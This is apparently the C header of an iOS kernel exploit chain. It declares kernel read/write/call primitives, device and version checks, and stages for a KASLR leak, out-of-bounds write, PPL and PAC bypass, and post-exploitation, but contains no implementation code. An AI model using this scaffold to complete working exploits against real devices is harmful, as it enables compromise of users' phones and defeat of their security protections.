#ifndef EXPLOIT_CORE_H
#define EXPLOIT_CORE_H

#include <stdint.h>
#include <stdbool.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>

#ifdef __cplusplus
extern "C" {
#endif

// ============================================================================
// Core Types & Constants
// ============================================================================

typedef enum {
    EXPLOIT_SUCCESS = 0,
    EXPLOIT_ERR_UNSUPPORTED_DEVICE = -1,
    EXPLOIT_ERR_UNSUPPORTED_IOS = -2,
    EXPLOIT_ERR_KASLR_LEAK_FAILED = -3,
    EXPLOIT_ERR_OOB_WRITE_FAILED = -4,
    EXPLOIT_ERR_KERNEL_RW_FAILED = -5,
    EXPLOIT_ERR_PPL_BYPASS_FAILED = -6,
    EXPLOIT_ERR_MDNS_UAF_FAILED = -7,
    EXPLOIT_ERR_IOHID_LEAK_FAILED = -8,
    EXPLOIT_ERR_HEAP_GROOM_FAILED = -9,
    EXPLOIT_ERR_FAKE_PORT_FAILED = -10,
    EXPLOIT_ERR_PAC_BYPASS_FAILED = -11,
    EXPLOIT_ERR_UNKNOWN = -100,
} exploit_error_t;

typedef struct {
    uint64_t kernel_base;
    uint64_t kernel_slide;
    uint64_t allproc;
    uint64_t proc_struct_size;
    uint64_t task_struct_size;
    uint64_t ipc_port_size;
    uint64_t ipc_space_size;
    uint64_t vm_map_size;
    bool has_kaslr;
    bool has_pac;
    bool has_ppl;
} kernel_info_t;

typedef struct {
    // Kernel read/write primitives
    bool (*kread)(uint64_t addr, void *buf, size_t size);
    bool (*kwrite)(uint64_t addr, const void *buf, size_t size);
    // Kernel call primitive
    uint64_t (*kcall)(uint64_t func, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5);
    // Alloc/free in kernel
    uint64_t (*kalloc)(size_t size);
    void (*kfree)(uint64_t addr, size_t size);
    // Find kernel symbols
    uint64_t (*ksymbol)(const char *name);
} kernel_rw_t;

// ============================================================================
// Logging
// ============================================================================

typedef enum {
    LOG_DEBUG = 0,
    LOG_INFO = 1,
    LOG_WARN = 2,
    LOG_ERROR = 3,
    LOG_CRITICAL = 4,
} log_level_t;

void exploit_log(log_level_t level, const char *fmt, ...);
void exploit_set_log_callback(void (*callback)(log_level_t, const char *));

// ============================================================================
// Device / iOS Version Detection
// ============================================================================

typedef struct {
    char device_model[64];
    char ios_version[32];
    char build_version[32];
    uint32_t chip_id;  // e.g., 0x8020 for A12
    bool is_supported;
} device_info_t;

bool exploit_get_device_info(device_info_t *info);
bool exploit_is_vulnerable_ios(const char *version);

// ============================================================================
// Exploit Chain Orchestration
// ============================================================================

typedef struct {
    kernel_info_t kinfo;
    kernel_rw_t krw;
    bool kaslr_leaked;
    bool kernel_rw_established;
    bool ppl_bypassed;
    bool amfi_disabled;
} exploit_state_t;

exploit_error_t exploit_chain_init(exploit_state_t *state);
exploit_error_t exploit_chain_run(exploit_state_t *state);
void exploit_chain_cleanup(exploit_state_t *state);

// Individual stages
exploit_error_t stage_kaslr_leak(exploit_state_t *state);
exploit_error_t stage_oob_write(exploit_state_t *state);
exploit_error_t stage_kernel_rw(exploit_state_t *state);
exploit_error_t stage_ppl_bypass(exploit_state_t *state);
exploit_error_t stage_post_exploit(exploit_state_t *state);

#ifdef __cplusplus
}
#endif

#endif // EXPLOIT_CORE_H